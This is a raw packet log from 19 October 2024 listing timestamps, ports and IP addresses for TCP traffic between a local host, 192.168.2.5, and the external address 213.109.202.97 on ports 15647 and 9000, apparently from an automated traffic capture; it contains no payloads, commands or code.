Oct 19, 2024 03:38:01.994396925 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.008975983 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.038417101 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.052515030 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.052624941 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.055131912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.092123985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.102149963 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.138664007 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.148932934 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.182082891 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.198288918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.250967026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.251074076 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.256021976 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.277081966 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.283004999 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.283087969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.295523882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.342907906 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.342972994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.347995043 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.366892099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.383780003 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.415364981 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.421775103 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.421838999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.429898024 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.474906921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.479525089 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.484564066 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.517605066 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.525301933 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.563235044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.566147089 CEST	9000	49967	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.589401007 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.605802059 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.616777897 CEST	49967	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.648159981 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.650382042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.662014008 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.662147045 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.727516890 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.746048927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.764659882 CEST	49967	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.765001059 CEST	49973	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.770123005 CEST	9000	49967	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.770224094 CEST	9000	49973	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.770293951 CEST	49967	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.770334005 CEST	49973	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.770478964 CEST	49973	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.775830030 CEST	9000	49973	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.782691002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.791454077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.794915915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.795603037 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.863476992 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.890558958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.911432981 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.958875895 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:02.960828066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:02.965708017 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.034986973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.057121992 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.062051058 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.130108118 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.164515972 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.169575930 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.177973986 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.219794989 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.222165108 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.274559975 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.282669067 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.334959984 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.335022926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.339919090 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.365777969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.370733023 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.402985096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.404700041 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.444919109 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.449811935 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.449902058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.498965979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.499063969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.504000902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.507961988 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.513159990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.539146900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.544100046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.549314976 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.570298910 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.589675903 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.602560997 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.632400990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.633671999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.641438007 CEST	9000	49973	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.669488907 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.669586897 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.693522930 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.694916010 CEST	49973	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.695452929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.742881060 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.743036032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.748050928 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.758105040 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.758424997 CEST	49973	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.758775949 CEST	49979	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.763192892 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.763629913 CEST	9000	49973	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.763665915 CEST	9000	49979	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.763695002 CEST	49973	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.763742924 CEST	49979	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.763801098 CEST	49979	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.765871048 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.768605947 CEST	9000	49979	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.775031090 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.775109053 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.789153099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.806050062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.821429014 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.837043047 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.851592064 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.869126081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.882778883 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.900988102 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.914941072 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.919836998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.960545063 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.965717077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.965976954 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:03.974387884 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:03.976732016 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.009757042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.009968042 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.024873972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.039566994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.055885077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.070646048 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.088171005 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.101876974 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.118109941 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.132936001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.149296045 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.164174080 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.169270992 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.196456909 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.232486010 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.232600927 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.244271994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.257893085 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.276653051 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.289836884 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.305871010 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.320380926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.337299109 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.351716995 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.368972063 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.384141922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.388736963 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.429478884 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.430615902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.430835962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.462929964 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.463017941 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.499025106 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.499106884 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.524871111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.524947882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.556097984 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.556173086 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.586828947 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.586896896 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.618284941 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.618402958 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.650784969 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.650893927 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.682929993 CEST	9000	49979	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.698456049 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.698548079 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.726181030 CEST	49979	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.729370117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.729470015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.762682915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.762810946 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.789037943 CEST	49979	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.789350033 CEST	49985	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.791555882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.791661978 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.794042110 CEST	9000	49979	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.794152021 CEST	9000	49985	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.794239044 CEST	49979	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.794281006 CEST	49985	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.794398069 CEST	49985	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.799345970 CEST	9000	49985	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.822669029 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.822760105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.853935957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.854054928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.885241985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.885343075 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.917471886 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.917560101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.962939978 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.963032961 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.966978073 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.967073917 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.967921019 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.976795912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:04.981722116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:04.996330023 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.007936001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.029189110 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.040239096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.058228970 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.070437908 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.089216948 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.104240894 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.120438099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.134119987 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.152230024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.164164066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.184252024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.195640087 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.229379892 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.229484081 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.243433952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.258034945 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.274442911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.289195061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.306581974 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.321208954 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.337061882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.351771116 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.370656013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.382940054 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.387799978 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.429440022 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.430520058 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.430622101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.462013006 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.462127924 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.495729923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.495817900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.524388075 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.524468899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.555659056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.555845022 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.587459087 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.587552071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.618043900 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.618144989 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.649461985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.649570942 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.656043053 CEST	9000	49985	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.697012901 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.697117090 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.710550070 CEST	49985	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.728424072 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.728512049 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.757600069 CEST	49985	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.757906914 CEST	49991	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.762264013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.762370110 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.762634993 CEST	9000	49985	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.762701035 CEST	49985	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.762706041 CEST	9000	49991	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.762785912 CEST	49991	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.762886047 CEST	49991	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.767702103 CEST	9000	49991	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.811003923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.811083078 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.816111088 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.822508097 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.836036921 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.854450941 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.867240906 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.884390116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.899620056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.915915966 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.929831982 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.972434044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.972551107 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:05.994924068 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:05.995035887 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.028726101 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.028820038 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.060338974 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.060420036 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.110966921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.111080885 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.112076998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.116091013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.117604971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.122617006 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.134560108 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.148574114 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.166240931 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.179718971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.196271896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.211056948 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.238989115 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.242274046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.261976957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.275578976 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.295277119 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.305023909 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.326991081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.336031914 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.378420115 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.378506899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.383976936 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.398488998 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.415132046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.429681063 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.446122885 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.462418079 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.477477074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.492535114 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.510107994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.523564100 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.528322935 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.569967031 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.570941925 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:06.571013927 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:06.571616888 CEST	15647	49704	213.109.202.97	192.168.2.5
